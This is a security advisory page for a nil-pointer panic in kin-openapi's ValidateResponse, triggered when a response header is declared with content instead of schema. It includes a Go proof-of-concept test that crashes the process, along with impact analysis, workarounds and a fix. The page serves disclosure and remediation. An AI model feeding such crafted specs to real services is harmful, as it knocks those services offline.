CVE-2026-100349: kin-openapi openapi3filter: nil-pointer panic in ValidateResponse on a response header declared with content

Published Oct 15, 2026
·
Updated

Summary

ValidateResponse panics on a nil pointer when a spec declares a response header with content instead of schema. doc.Validate() accepts that document, so the crash comes from a spec the library just called valid.

Same class as GHSA-jpcw-4wr7-c3vq, which covered the request-parameter case in v0.144.0; this is the response-header path.

Affects github.com/getkin/kin-openapi <= v0.145.0. Reproduced on master 947498e5a6bd, Go 1.26.

Details

A content-typed response header has headerRef.Value.Schema == nil.

validateresponse.go:181 passes it straight through:

go if decodedValue, found, err = decodeValue(dec, headerName, sm, headerRef.Value.Schema, headerRef.Value.Required); err != nil {

and reqrespdecoder.go:273 is where it lands:

go if len(schema.Value.AllOf) > 0 {

Two things I checked rather than assumed. The response does not need to carry the header; declaring it is enough, and then every call for that operation panics. And the body path is fine, :114 returns early on a nil schema, so this is headers only. The PoC keeps the body case as a control.

PoC

Drop into openapi3filter/ and run:

go test ./openapi3filter/ -run NilSchema -v

go package openapi3filtertest

import ( "context" "io" "net/http" "net/http/httptest" "strings" "testing"

"github.com/getkin/kin-openapi/openapi3" "github.com/getkin/kin-openapi/openapi3filter" "github.com/getkin/kin-openapi/routers" )

const specBody = openapi: 3.0.3 info: {title: poc, version: "1.0.0"} paths: /x: get: responses: "200": description: ok content: application/json: {}

const specHeader = openapi: 3.0.3 info: {title: poc, version: "1.0.0"} paths: /x: get: responses: "200": description: ok headers: X-Thing: content: application/json: {}

func validatedInput(t testing.T, spec string, hdr http.Header) openapi3filter.ResponseValidationInput { t.Helper() doc, err := openapi3.NewLoader().LoadFromData([]byte(spec)) if err != nil { t.Fatalf("load: %v", err) } if err := doc.Validate(context.Background()); err != nil { t.Fatalf("doc.Validate rejected the spec, so this repro proves nothing: %v", err) } op := doc.Paths.Find("/x").Get req := httptest.NewRequest(http.MethodGet, "/x", nil) return &openapi3filter.ResponseValidationInput{ RequestValidationInput: &openapi3filter.RequestValidationInput{ Request: req, Route: &routers.Route{Spec: doc, Operation: op, Method: http.MethodGet, Path: "/x"}, }, Status: 200, Header: hdr, Body: io.NopCloser(strings.NewReader({})), } }

// Control: body path returns early on a nil schema. func TestControlResponseBodyNilSchema(t testing.T) { in := validatedInput(t, specBody, http.Header{"Content-Type": {"application/json"}}) defer func() { if r := recover(); r != nil { t.Errorf("body path panicked, expected clean return: %v", r) } }() if err := openapi3filter.ValidateResponse(context.Background(), in); err != nil { t.Errorf("body path returned %v, expected nil", err) } }

// The response does not carry X-Thing. Declaring the header is enough. func TestResponseHeaderNilSchema(t testing.T) { in := validatedInput(t, specHeader, http.Header{"Content-Type": {"application/json"}}) if err := openapi3filter.ValidateResponse(context.Background(), in); err != nil { t.Fatalf("no panic; got err = %v (already fixed?)", err) } }

Output:

=== RUN TestControlResponseBodyNilSchema --- PASS: TestControlResponseBodyNilSchema (0.00s) === RUN TestResponseHeaderNilSchema --- FAIL: TestResponseHeaderNilSchema (0.00s) panic: runtime error: invalid memory address or nil pointer dereference [recovered, repanicked] [signal SIGSEGV: segmentation violation code=0x1 addr=0x20 pc=0x7f6d2a]

github.com/getkin/kin-openapi/openapi3filter.decodeValue(...) /src/openapi3filter/reqrespdecoder.go:273 +0x4a github.com/getkin/kin-openapi/openapi3filter.validateResponseHeader(...) /src/openapi3filter/validateresponse.go:181 +0x146 github.com/getkin/kin-openapi/openapi3filter.ValidateResponse(...) /src/openapi3filter/validateresponse.go:89 +0xafa

The FAIL is the point: control passes, the header case takes the binary down.

Ran in a container against a fresh clone of master. I have not tried it against a live proxy.

Impact

A process crash instead of an error return. Declaring the header is enough, so it is every call on that operation rather than an occasional one.

If the spec comes from somewhere else -- gateways, linters, anything ingesting specs it did not write -- that is a trust boundary, and it becomes remote availability.

If it is your own spec, nothing attacker-controlled starts it, but any client reaching that route then crashes the process. It fires on every call, so normally you would see it the first time that route runs. A spec edited without exercising the route is the case where you would not. That is the difference from GHSA-jpcw, where the attacker supplied the trigger. I have left severity unset; the two cases do not score the same.

On how common it is, I checked rather than guessed. Of roughly 1,500 OpenAPI 3.x specs on apis.guru, one declares content-typed response headers -- VTEX Catalog API -- and not in one corner of it: the shape repeats across its operations, so for that consumer this is not an edge case.

The header names in it (X-AspNet-Version, p3p, a few malformed ones) look like a generator emitting content where it could not infer a schema, and apis.guru only indexes public specs. There is no content-typed response header in this repo's testdata either.

Workarounds

Use schema on the response header, or skip ValidateResponse for those operations. ExcludeResponseBody will not do it -- headers are validated before that check.

Suggested fix

Nil-guard at the top of decodeValue:

go if schema == nil { return nil, false, nil }

Returning nil leaves a content-typed header unvalidated rather than erroring, so it trades the crash for a silent gap. An error return kills the panic just as well if you would rather it surfaced.

Other sources

kin-openapi is a Go project for handling OpenAPI files. Prior to 0.146.0, openapi3filter.ValidateResponse passes a nil response header schema to decodeValue when an OpenAPI document declares the header with content instead of schema. The document passes validation, but every response validation for the affected operation dereferences the nil schema and panics even when the response does not contain the declared header. Applications that ingest an untrusted specification can expose this as remote availability impact, while applications using only trusted local specifications still crash when the affected operation is exercised. This issue is fixed in version 0.146.0.

— Ubuntu

kin-openapi openapi3filter: nil-pointer panic in ValidateResponse on a response header declared with content in github.com/getkin/kin-openapi

— OSV

Affected Software

8 affected componentsFixes available
go/github.com/getkin/kin-openapi<0.146.0
go/github.com/getkin/kin-openapi<=0.145.0
0.146.0
ubuntu/golang-github-getkin-kin-openapi*
ubuntu/golang-github-getkin-kin-openapi*
ubuntu/golang-github-getkin-kin-openapi*
ubuntu/golang-github-getkin-kin-openapi*
debian/golang-github-getkin-kin-openapi<=0.110.0-1, <=0.124.0-1, <=0.135.0-1
go/github.com/getkin/kin-openapi<0.146.0
0.146.0

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade go/github.com/getkin/kin-openapi to a version that resolves this vulnerability.

    Fixed in 0.146.0
  2. Upgrade

    Upgrade github.com/getkin/kin-openapi to a version that resolves this vulnerability.

    Fixed in 0.146.0
  3. Configuration

    Declare a schema on affected response headers instead of using content.

    OpenAPI response headers schema = defined instead of content
  4. Configuration

    Skip ValidateResponse for operations whose response headers are declared with content and have no schema.

    openapi3filter.ValidateResponse response validation = skip for affected operations

Event History

Oct 15, 2026
CVE Published
via Ubuntu·12:00 AM
Data Sourced
via Ubuntu·12:00 AM
RemedyDescriptionSeverityAffected Software
CVE Published
via MITRE·03:50 PM
Data Sourced
via MITRE·03:50 PM
DescriptionWeakness
Data Sourced
via OSV·03:50 PM
DescriptionSeverityWeakness
Data Sourced
via Red Hat·04:03 PM
DescriptionSeverityAffected Software
Data Sourced
via NVD·04:17 PM
DescriptionSeverityWeakness
Oct 16, 2026
Advisory Published
via GitHub·07:58 PM
Data Sourced
via GitHub·07:58 PM
DescriptionWeaknessAffected Software
Oct 28, 2026
Data Sourced
via OSV·05:50 PM
Affected Software

Frequently Asked Questions

1

Which deployments are exposed to remote exploitation?

Applications that ingest an untrusted OpenAPI specification can expose a remote availability impact. A specification that declares a response header using content rather than schema can trigger the panic when response validation runs for the affected operation.

2

Does the affected response need to include the problematic header?

No. The panic occurs for every response validation of the affected operation even when the response does not contain the declared header.

3

Are applications using only local, trusted specifications unaffected?

No. Trusted local specifications do not make the affected operation safe: the application can still crash when that operation is exercised if its document contains the problematic header declaration.

4

What version fixes the issue?

The issue is fixed in kin-openapi version 0.146.0. Versions prior to 0.146.0 are affected.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203